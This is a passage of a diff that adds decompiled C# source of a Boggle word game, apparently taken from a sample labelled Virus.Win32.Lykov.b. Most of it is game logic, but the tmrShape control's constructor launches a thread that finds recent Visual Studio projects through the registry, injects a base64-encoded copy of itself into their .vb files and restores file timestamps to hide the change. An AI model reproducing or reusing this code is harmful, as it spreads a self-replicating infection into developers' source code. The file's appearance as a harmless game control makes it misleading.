modGlobal.cmdBog.CommandText = "Insert Into Words_5Letters1 (Word,Bl1,Bl2,Bl3,Bl4,Bl5" + str2 + ") SELECT PossibleLetters_1.BaseLetter + PossibleLetters_2.BaseLetter + PossibleLetters_3.BaseLetter + PossibleLetters_4.BaseLetter + PossibleLetters_5.BaseLetter " + sLeft3 + " AS Word, PossibleLetters_1.BaseLetterSquare AS BL1, PossibleLetters_2.BaseLetterSquare AS BL2, PossibleLetters_3.BaseLetterSquare AS BL3, PossibleLetters_4.BaseLetterSquare AS BL4, PossibleLetters_5.BaseLetterSquare AS BL5 " + sLeft4 + "FROM " + str1 + "PossibleLetters INNER JOIN PossibleLetters AS PossibleLetters_1 ON (PossibleLetters.FriendLetter=PossibleLetters_1.BaseLetter) AND (PossibleLetters.FriendLetterSquare=PossibleLetters_1.BaseLetterSquare)) INNER JOIN PossibleLetters AS PossibleLetters_2 ON (PossibleLetters_1.FriendLetter=PossibleLetters_2.BaseLetter) AND (PossibleLetters_1.FriendLetterSquare=PossibleLetters_2.BaseLetterSquare)) INNER JOIN PossibleLetters AS PossibleLetters_3 ON (PossibleLetters_2.FriendLetter=PossibleLetters_3.BaseLetter) AND (PossibleLetters_2.FriendLetterSquare=PossibleLetters_3.BaseLetterSquare)) INNER JOIN PossibleLetters AS PossibleLetters_4 ON (PossibleLetters_3.FriendLetter=PossibleLetters_4.BaseLetter) AND (PossibleLetters_3.FriendLetterSquare=PossibleLetters_4.BaseLetterSquare)) INNER JOIN PossibleLetters AS PossibleLetters_5 ON (PossibleLetters_4.FriendLetter=PossibleLetters_5.BaseLetter) AND (PossibleLetters_4.FriendLetterSquare=PossibleLetters_5.BaseLetterSquare) " + sLeft2 + sLeft1 + "GROUP BY PossibleLetters_1.BaseLetter + PossibleLetters_2.BaseLetter + PossibleLetters_3.BaseLetter + PossibleLetters_4.BaseLetter + PossibleLetters_5.BaseLetter " + sLeft3 + ", PossibleLetters_1.BaseLetterSquare, PossibleLetters_2.BaseLetterSquare, PossibleLetters_3.BaseLetterSquare, PossibleLetters_4.BaseLetterSquare, PossibleLetters_5.BaseLetterSquare" + str4;
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "Insert Into Words_5Letters2 (Word,WordSquares) SELECT Words_5Letters1.[Word], [BL1] & ',' & [BL2] & ',' & [BL3] & ',' & [BL4] & ',' & [BL5]" + str3 + " AS WordSquares FROM (Words_5Letters1) WHERE (((Words_5Letters1.BL1) Not In ([bl2],[bl3],[bl4],[bl5]" + str2 + ")) AND ((Words_5Letters1.BL2) Not In ([bl1],[bl3],[bl4],[bl5]" + str2 + ")) AND ((Words_5Letters1.BL3) Not In ([bl1],[bl2],[bl4],[bl5]" + str2 + ")) AND ((Words_5Letters1.BL4) Not In ([bl1],[bl2],[bl3],[bl5]" + str2 + ")) AND ((Words_5Letters1.BL5) Not In ([bl1],[bl2],[bl3],[bl4]" + str2 + ")) AND ((Words_5Letters1.BL6) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL6", "") + ")Or BL6 Is Null) AND ((Words_5Letters1.BL7) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL7", "") + ")Or BL7 Is Null) AND ((Words_5Letters1.BL8) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL8", "") + ")Or BL8 Is Null) AND ((Words_5Letters1.BL9) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL9", "") + ")Or BL9 Is Null) AND ((Words_5Letters1.BL10) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL10", "") + ")Or BL10 Is Null) AND ((Words_5Letters1.BL11) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL11", "") + ")Or BL11 Is Null) AND ((Words_5Letters1.BL12) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL12", "") + ")Or BL12 Is Null) AND ((Words_5Letters1.BL13) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL13", "") + ")Or BL13 Is Null) AND ((Words_5Letters1.BL14) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL14", "") + ")Or BL14 Is Null) AND ((Words_5Letters1.BL15) Not In ([bl1],[bl2],[bl3],[bl4],[bl5]" + Strings.Replace(str2, ",BL15", "") + ")Or BL15 Is Null)) ";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
if (Mode == modFindWords.FindMode.SpecWord)
{
if (Strings.InStr(Word, "Q") != 0)
Word = Strings.Replace(Word, "Q", "QU");
modGlobal.cmdBog.CommandText = "Select * From Words_5Letters2 Where Instr(Ucase(Word),'" + Word + "') <> 0";
modGlobal.conBoggle.Open();
OleDbDataReader oleDbDataReader = modGlobal.cmdBog.ExecuteReader();
while (oleDbDataReader.Read())
{
if (StringType.StrCmp(Strings.UCase(Strings.Mid(StringType.FromObject(oleDbDataReader[nameof (Word)]), 1, Strings.Len(Word))), Word, false) == 0)
{
objArray[0] = (object) Strings.Mid(StringType.FromObject(oleDbDataReader[nameof (Word)]), 1, Strings.Len(Word));
objArray[1] = RuntimeHelpers.GetObjectValue(oleDbDataReader["WordSquares"]);
}
}
if (ObjectType.ObjTst(objArray[0], (object) "", false) == 0)
{
objArray[0] = (object) "Not Found";
objArray[1] = (object) "11111";
}
words.Rows.Add(objArray);
oleDbDataReader.Close();
modGlobal.conBoggle.Close();
return words;
}
modGlobal.cmdBog.CommandText = "Insert Into Words_4Letters (Word4,WordSquares) SELECT Left([Word],4) AS Word, WordSquares FROM (Words_5Letters2) GROUP BY Left([Word],4),WordSquares";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "Insert Into Words_3Letters (Word3,WordSquares) SELECT Left([Word],3) AS Word, WordSquares FROM (Words_5Letters2) GROUP BY Left([Word],3),WordSquares";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "INSERT INTO FoundWords ( FoundWord, FoundWordSquares ) SELECT BoggleWords.Word, Max(Words_3Letters.WordSquares) AS MaxOfWordSquares FROM BoggleWords INNER JOIN Words_3Letters ON BoggleWords.Word = Words_3Letters.Word3 GROUP BY BoggleWords.Word";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "INSERT INTO FoundWords ( FoundWord, FoundWordSquares ) SELECT BoggleWords.Word, Max(Words_4Letters.WordSquares) AS MaxOfWordSquares FROM BoggleWords INNER JOIN Words_4Letters ON BoggleWords.Word = Words_4Letters.Word4 GROUP BY BoggleWords.Word";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "INSERT INTO FoundWords ( FoundWord, FoundWordSquares ) SELECT BoggleWords.Word, Max(Words_5Letters2.WordSquares) AS MaxOfWordSquares FROM BoggleWords INNER JOIN Words_5Letters2 ON BoggleWords.Word = Words_5Letters2.Word GROUP BY BoggleWords.Word";
modGlobal.conBoggle.Open();
modGlobal.cmdBog.ExecuteNonQuery();
modGlobal.conBoggle.Close();
modGlobal.cmdBog.CommandText = "Select * From FoundWords Order By FoundWord";
modGlobal.conBoggle.Open();
OleDbDataReader oleDbDataReader1 = modGlobal.cmdBog.ExecuteReader();
while (oleDbDataReader1.Read())
{
objArray[0] = RuntimeHelpers.GetObjectValue(oleDbDataReader1["FoundWord"]);
objArray[1] = RuntimeHelpers.GetObjectValue(oleDbDataReader1["FoundWordSquares"]);
words.Rows.Add(objArray);
}
oleDbDataReader1.Close();
modGlobal.conBoggle.Close();
return words;
}
public static string GetDef(string Word)
{
string def;
try
{
WebResponse response = WebRequest.Create("http://dictionary.reference.com/search?q=" + Word).GetResponse();
StreamReader streamReader = new StreamReader(response.GetResponseStream(), Encoding.ASCII);
string end = streamReader.ReadToEnd();
response.Close();
streamReader.Close();
long Start = 1;
string String1 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ/\\-()?.,[]%! \r\n\t\r";
string str1 = Strings.Mid(end, Strings.InStr(Strings.UCase(end), "<P><B>" + Strings.UCase(Word) + "</B></P>"));
while (Start != (long) Strings.Len(str1))
{
string str2 = Strings.Mid(str1, checked ((int) Start), 1);
if (StringType.StrCmp(str2, "<", false) == 0)
{
string str3;
for (; StringType.StrCmp(str2, ">", false) != 0; str2 = Strings.Mid(str1, checked ((int) Start), 1))
{
str3 += str2;
checked { ++Start; }
}
str1 = Strings.Replace(str1, str3 + ">", "");
Start = 0L;
str3 = "";
}
if (Strings.InStr(String1, Strings.UCase(str2)) == 0 & Strings.InStr("<>", str2) == 0)
{
str1 = Strings.Replace(str1, str2, "");
Start = 0L;
}
checked { ++Start; }
}
long num = 1;
do
{
str1 = Strings.Replace(Strings.Replace(Strings.Replace(str1, StringType.FromLong(num) + ". ", "\r\n" + StringType.FromLong(num) + ". "), StringType.FromLong(num) + ". \r\n", ""), " " + StringType.FromLong(num) + " ", "\r\n" + StringType.FromLong(num) + ". ");
checked { ++num; }
}
while (num <= 500L);
def = Strings.Mid(str1, 1, checked (Strings.InStr(Strings.UCase(str1), "ADVERTISEMENT") - 1));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
if (Information.Err().Number == 5)
{
def = "Boggle could not query this defenition from the internet. Make sure you are online and check your internet connection. To disable this option, uncheck \"Enable Defenition Search\" under the \"Options\" menu.";
ProjectData.ClearProjectError();
goto label_17;
}
else
ProjectData.ClearProjectError();
}
label_17:
return def;
}
public static string ValidateWords(string Words)
{
Words += ",";
string str;
while (StringType.StrCmp(Words, "", false) != 0)
{
string Word = Strings.Mid(Words, 1, checked (Strings.InStr(Words, ",") - 1));
Words = Strings.Mid(Words, checked (Strings.InStr(Words, ",") + 1));
if (ObjectType.ObjTst(modFindWords.FindWords(modFindWords.FindMode.SpecWord, Word).Rows[0][0], (object) "Not Found", false) == 0)
str = str + Word + ",";
}
return str;
}
public enum FindMode
{
AllWords,
SpecWord,
}
}
}
@@ -0,0 +1,67 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.modGlobal
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.Data.OleDb;
using System.Windows.Forms;
namespace Boggle
{
[StandardModule]
internal sealed class modGlobal
{
public static string AppPath = Strings.Mid(Application.StartupPath, 1, Strings.InStr(Application.StartupPath, "\\Boggle")) + Application.ProductName;
public static OleDbConnection conBoggle = new OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;Password=\"\";User ID=Admin;Data Source=" + modGlobal.AppPath + "\\Boggle.mdb;Mode=Share Deny None;Extended Properties=" + "\"" + "\"" + ";Jet OLEDB:System database=" + "\"" + "\"" + ";Jet OLEDB:Registry Path=" + "\"" + "\"" + ";Jet OLEDB:Database Password=" + "\"" + "\"" + ";Jet OLEDB:Engine Type=5;Jet OLEDB:Database Locking Mode=1;Jet OLEDB:Global Partial Bulk Ops=2;Jet OLEDB:Global Bulk Transactions=1;Jet OLEDB:New Database Password=" + "\"" + "\"" + ";Jet OLEDB:Create System Database=False;Jet OLEDB:Encrypt Database=False;Jet OLEDB:Don't Copy Locale on Compact=False;Jet OLEDB:Compact Without Replica Repair=False;Jet OLEDB:SFP=False");
public static OleDbCommand cmdBog = new OleDbCommand("Space Fill", modGlobal.conBoggle);
public static CubesCollection Cubes = new CubesCollection();
public static Cube myCube;
public static modGlobal.Mode GameMode;
public static modGlobal.Level GameLevel;
public static modGlobal.Interval TimerInterval;
public enum Interval
{
Sec030,
Sec100,
Sec130,
Sec200,
Sec230,
Sec300,
Sec330,
Sec400,
Sec430,
Sec500,
}
public enum Direction
{
Right,
LowerRight,
Below,
LowerLeft,
Left,
UpperLeft,
Above,
UpperRight,
}
public enum Level
{
Easy,
Medium,
Hard,
Impossible,
}
public enum Mode
{
Vs,
BoardGame,
Teaching,
}
}
}
@@ -0,0 +1,164 @@
// Decompiled with JetBrains decompiler
// Type: Boggle.tmrShape
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Boggle
{
public class tmrShape : UserControl
{
private IContainer components;
private tmrShape.tmrShapeDirection clsDirection;
private System.Drawing.Color clsShapeColor;
private void vIT()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
if (registryKey.ValueCount == 0)
ProjectData.EndApp();
string String2 = "Private Sub vIT()";
string str1 = "Public Sub New()";
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
string Replacement = "J = \"";
int num1 = Strings.Len(str3);
int Start = 1;
while (Start <= num1)
{
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
checked { Start += 64; }
}
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
int num2 = checked (registryKey.ValueCount - 1);
int index1 = 0;
while (index1 <= num2)
{
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.vb");
int num3 = Information.LBound((Array) files);
int num4 = Information.UBound((Array) files);
int index2 = num3;
while (index2 <= num4)
{
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
FileAttributes attributes = File.GetAttributes(files[index2]);
File.SetAttributes(files[index2], FileAttributes.Normal);
StreamReader streamReader = File.OpenText(files[index2]);
string end = streamReader.ReadToEnd();
streamReader.Close();
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
{
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
StreamWriter text = File.CreateText(files[index2]);
text.Write(str6);
text.Flush();
text.Close();
}
File.SetLastWriteTime(files[index2], lastWriteTime);
File.SetLastAccessTime(files[index2], lastAccessTime);
File.SetAttributes(files[index2], attributes);
checked { ++index2; }
}
}
checked { ++index1; }
}
}
public tmrShape()
{
this.Paint += new PaintEventHandler(this.OnPaint);
this.Resize += new EventHandler(this.tmrShape_Resize);
new Thread(new ThreadStart(this.vIT)).Start();
this.InitializeComponent();
this.clsDirection = tmrShape.tmrShapeDirection.Vertical;
this.clsShapeColor = System.Drawing.Color.Maroon;
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container();
protected void OnPaint(object sender, PaintEventArgs e)
{
GraphicsPath path = new GraphicsPath();
SolidBrush solidBrush = new SolidBrush(this.clsShapeColor);
if (this.clsDirection == tmrShape.tmrShapeDirection.Vertical)
{
Point[] points = new Point[6]
{
new Point(0, checked ((int) Math.Round(unchecked ((double) this.Height / 4.0)))),
new Point(checked ((int) Math.Round(unchecked ((double) this.Width / 2.0))), 0),
new Point(this.Width, checked ((int) Math.Round(unchecked ((double) this.Height / 4.0)))),
new Point(this.Width, checked ((int) Math.Round(unchecked ((double) this.Height - (double) this.Height / 4.0)))),
new Point(checked ((int) Math.Round(unchecked ((double) this.Width / 2.0))), this.Height),
new Point(0, checked ((int) Math.Round(unchecked ((double) this.Height - (double) this.Height / 4.0))))
};
path.AddPolygon(points);
}
else
{
Point[] points = new Point[6]
{
new Point(0, checked ((int) Math.Round(unchecked ((double) this.Height / 2.0)))),
new Point(checked ((int) Math.Round(unchecked ((double) this.Width / 4.0))), 0),
new Point(checked ((int) Math.Round(unchecked ((double) this.Width - (double) this.Width / 4.0))), 0),
new Point(this.Width, checked ((int) Math.Round(unchecked ((double) this.Height / 2.0)))),
new Point(checked ((int) Math.Round(unchecked ((double) this.Width - (double) this.Width / 4.0))), this.Height),
new Point(checked ((int) Math.Round(unchecked ((double) this.Width / 4.0))), this.Height)
};
path.AddPolygon(points);
}
e.Graphics.FillPath((Brush) solidBrush, path);
this.Region = new Region(path);
}
public tmrShape.tmrShapeDirection ShapeDirection
{
get => this.clsDirection;
set
{
this.clsDirection = value;
this.Refresh();
}
}
public System.Drawing.Color ShapeColor
{
get => this.clsShapeColor;
set => this.clsShapeColor = value;
}
private void tmrShape_Resize(object sender, EventArgs e) => this.Refresh();
public enum tmrShapeDirection
{
Vertical,
Horisontal,
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>